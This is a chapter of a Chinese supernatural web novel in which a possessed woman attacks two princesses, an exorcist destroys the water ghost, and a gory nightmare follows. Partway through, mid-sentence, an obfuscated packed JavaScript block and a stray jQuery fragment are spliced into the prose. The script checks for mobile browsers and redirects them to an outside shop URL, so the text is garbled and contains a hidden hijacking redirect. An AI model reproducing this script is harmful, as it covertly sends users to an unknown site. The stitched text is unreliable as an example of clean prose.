渭水亭边,人影攒动。
霍昭听说船上出事了,带刀朝船上奔去。
船上呼喊声,脚步声,哭闹声一片,正有几个人朝这边跑来。
“公主呢?”他揪住一个看起来慌张逃窜的侍卫。
侍卫看起来神智都有些不清了,“公主?公主被疯子追着呢!”
“公主在哪?”霍昭一惊,动作用力。
“……那边。”侍卫指了一个方向。
*
李永宁看到那青黑的指甲突破窗户的缝隙,顿时眼前一黑,她使劲掐了一下自己的虎口,强迫自己镇定下来,她赶紧拿起堵在门口的桌椅狠狠地砸向窗户边伸进来大半的手臂。
李庆安也迅速扫视身边能用的东西,她看到一把木制长戒尺,粗的可以堪比十年树龄的柳树树干,果然是家风严正的太原王家才能有的戒尺,堪比刑具。
李庆安没想太多,直接冲着郑家女郎的手臂砸过去,气势勇猛,力破山河之势。
姐妹俩齐心协力,几乎将郑家女郎的手臂砸断。
果然,郑家女郎的攻击稍显疲弱,动作慢下来。
两人对视一眼,正要松一口气,李永宁以为她们俩就要安全了,下意识就要放下手里的桌椅。
电光火石间,李庆安却看到郑家女郎猛地抽回那截断了的手臂,另一只手狠狠撕开窗户,脑袋和大半个身子钻进窗户,冲着李永宁张牙舞爪,竭力嘶吼,差一点就要咬到李永宁的脑袋。
“快躲开!”李庆安操起手边的戒尺就狠狠打向郑家女郎的鬼头,把那狰狞的脑袋打得一偏,为李永宁逃脱争取了一瞬的时间。
李永宁得以迅速退到一边,但郑家女郎很快就恢复了行动能力,继续将身子挤入屋子,她的力气变得更大,显然是屋子里的两个人的反抗惹怒了她。
郑家女郎不惧姐妹两人的疯狂击打,只一味地往屋子里爬,不时发出‘嗬嗬’地恐怖声音。
李永宁知道她们两个躲不过了,把身上的小纸人掷了出去。
这是阿寂送给她的,说是关键时刻可以抵挡鬼物攻击。
小纸人落地,瞬间放出大片金色光芒,将姐妹二人护在屋子中央。
郑家女郎围着金光阵团团转,不时使用鬼力试图刺破金光的保护,一开始并没什么效果,但架不住郑家女郎持续不断地攻击,金色的光芒渐渐褪去,郑家女郎脸上狰狞的面孔出现了一丝诡异的微笑,正要进行最后的全力一击。
随着郑家女郎的一声嘶吼,金光归于黯淡,李永宁用尽全力把她姐推出去,虽然不知道为什么,但郑家女郎的目标是她,姐姐或许可以趁着郑家女郎吃她的功夫,顺利逃走……
“姐,赶紧走!”
李永宁紧闭双眼,抱着必死的决心朝着郑家女郎狠狠撞过去,顿时,郑家女郎青黑色的鬼眼几乎转为油绿色,碧绿碧绿,从喉咙深处,发出的嘶吼声中,带上令活人毛骨悚然的喜悦之情。
李庆安被李永宁撞到一边,“宁宁!”
但她没有伤心的时间,这是她妹妹用命拼出来的时间,她不能浪费,李庆安只能跌跌撞撞朝着门口的方向逃去。
此时,大门被人从外面暴力破开,霍昭手持长刀,扶住李庆安。
霍昭迅速将手边的桌椅扔向郑家女郎,郑家女郎的脑袋被打得一歪,发出一声愤怒的吼叫,看了看霍昭,又看了看李永宁,思考了片刻,迅速朝着霍昭的方向冲来。
霍昭顺手将李庆安推向李永宁的方向,自己持着长刀,迎难而上,与郑家女郎缠斗起来。
霍昭武功极高,但不通术数,只能凭借多年来的功夫和郑家女郎斡旋。
郑家女郎是水鬼上身,越战越勇,霍昭武功不弱,但终究是人,多次与郑家女郎正面冲突过后,渐渐显露出人的颓势。
李永宁和李庆安看到霍昭并不是碾压之势,她们俩也不敢走,只能时不时拿着桌椅矮凳趁机捶打郑家女郎,给霍昭争取一点喘息的时间。
郑家女郎攻势越来越猛,霍昭节节后退,眼看就要被郑家女郎抓破胸膛,关键时刻,一声炸雷声在空中陡然爆开。
郑家女郎脸上流出青红斑驳的鬼血,看着十分渗人。
师雪寂抱着剑从天而降,一剑劈倒了郑家女郎,拽来李永宁,割破他的手掌,将鲜血淋满剑身,师雪寂的剑顿时闪过了一片幽蓝色,闪电在剑身上隐隐浮现,宛若游龙在剑上盘旋不已。
师雪寂的声音端庄肃穆,仿佛来自千百年前的空灵梵音,入耳让人心灵涤荡,灰尘尽除。
“天辅丙木,电光化生。斗枢降灵,变化五行。八卦通神,九州皆惊。水部束首,火怪灭形。愿降妙炁,流布九清!”(1)
一条冰蓝色的雷龙从剑身上涌现,挟持着雷霆万钧之势,带着明显的雷暴气息,猛地扑到郑家女郎身上。
郑家女郎在地上瑟瑟发抖,明明想逃,但身上的鬼力在师雪寂出现的瞬间,仿佛都消失了,她占着活人的身子,却失去了鬼力,只能留在原地被动挨打。
郑家女郎被灭世的雷光狠狠击中,身子激烈地抽搐了起来,身上漫出大片的黑烟,嘴里涌出大口大口的绿血,“嗬嗬嗬嗬”她发出最后的心有不甘的痛吟。
水鬼的魂魄被雷电之力挤出了郑家女郎的身体,湿淋淋的一团瘫软在地上,师雪寂用乾坤带拘住了水鬼。
郑家女郎的尸体也恢复了人类的模样,苍白如纸的一张脸,青色可见血管的细瘦手臂,身上隐约可见一点淡淡的黑色尸斑,可见她已经死去了几个时辰。
李庆安缓了一会,才从刚才的惊吓中回过神来,她是第一次直面鬼物,心智已经算得上强大。
她看了一眼,倒在地上面色惨白,无声无息的郑瑶。
“一会叫人将她送回郑家吧。”
在大魏,人们都说,未婚的女郎意外去世是要葬在祖地的,否则会变成无人祭祀的孤魂野鬼。
高高兴兴地来参加宴会,谁能想到会突遭横祸?
几个身体健壮的妇人抬着一个木架子,上面盖了层白布。
她们将郑瑶抬到木架子上,用白布遮住了她的脸。
李永宁不忍心看,躲到了师雪寂身后。
几人正欲走,师雪寂忽然道,“你留下来。”
几个妇人面面相觑,最终被师雪寂指着的那个妇人留了下来。
“贵人找奴有何事?”妇人姿态谦卑,头微微垂着。
李庆安打量着这个妇人,她就是大魏街头,最寻常的那种妇人,鬓角带着些白发,脸上也有岁月带来的风霜痕迹,一看便是饱受生活摧残。
她不明白师雪寂为什么会留这个看起来平平无奇的老妇人?
她们不知道的是,在师雪寂的眼中,这个看起来普通的妇人,身上缠绕着一层又一层黑红色的血气,血气翻滚外涌,像是死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620652|204145||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
死缠住猎物来进行绞杀的蟒蛇。
可这个老妇人身上并没有业力作祟,这不可能啊。
一个人杀了很多人,但她又没杀人。
这是不可能发生的事。
师雪寂想不明白其中的缘由,但是他知道不能放这个老妇人走。
“这个人不对劲,把她先关起来吧。”
霍昭点点头,他知道师雪寂一定是看出了什么,“来人,把她押到刑部的大牢里,严加看管。”
妇人惊慌失措,“贵人,我没有犯过任何错呀,我是无辜的,我是无辜的!”
李永宁见她很可怜,“你不用怕,如果你没犯错,我们会把你放回去的。”
她想了想,“如果你的伙计没了,我还可以帮你再安排一个。”
妇人像是抓到一根救命稻草,“贵人,您心善,帮帮我吧,我不不想坐牢。”
“这可不行。”李永宁摇摇头。
老妇人被侍卫拖了出去。
李永宁这才看向师雪寂,“她看着确实不太像犯错的样子。”
师雪寂压下她头上支棱起来的发丝,“她有没有罪,可不能光用眼睛看。”
李永宁一想,确实是这样。
她笑了一下,“阿寂,你怎么知道我和姐姐遇到危险了?”
“小纸人上有我留下的标记,我能感应到它的位置。”
“那你再给我几张吧,这回小纸人可派上了大用场!”李永宁追着师雪寂的脚步。”
……
“你不管他们了?”霍昭声音里带点笑意。
李庆安这回没追上去,她头歪了一下,靠在霍昭的肩膀上。
“不管了,不管了,我今天都要吓死了。”
霍昭拍了拍她的背,“别害怕,我在呢。”
*
夜里,冷风呼呼得狂吹,柳叶簌簌作响。
一个干瘦的人安静地走着,他神色平静,拿着一把砍骨头的大砍刀,动作不急不缓,脚步不紧不慢,行动间有种诡异的韵律。
他停在一个屋子前,推开屋子,走进去,不一会儿,屋子里穿来令人牙酸的剁骨头声音。
屋外,打起闷雷,一道闪电从天边一闪而逝,雪白的闪电在刹那间照亮了男人的沾满了鲜血的脸。
赵大郎推门进去,正好和男人对视,他见到男人,下意识叫了一声,“文轩……”
赵大郎被屋子里的情况吓疯了,一下子瘫坐在地上。
青年男人嘴角勾勒出一个轻微的弧度,举着砍刀朝着他走过来,赵大郎由于过度惊恐而全身无力,只能摇头,不停地挪动身子,可是青年男人手里的大砍刀还是高高举起,狠狠劈下……
四肢,肚子,肠子,和着血肉……铺了一地。
赵大郎只剩下一个脑袋还完好无损,他的眼睛睁得老大,身体却成了一团烂肉,青年男人却无视他的眼睛,站起身,像是毫无知觉似的,拿着刀木然地转身离去。
啊啊啊啊啊啊!
赵大郎冷汗涔涔,他又做那个噩梦了。
不过还好是梦,他喘着粗气,整个人像是从河里刚捞出来一般,赵大郎拿帕子擦掉淌到脸上的汗。
他倚在床榻上,清凉的夜风顺着小窗户吹进来,吹得人很舒服,赵大郎习惯性地往外看……
那是一双与梦里如出一辙的血红眼睛。
属于郑文轩的眼睛。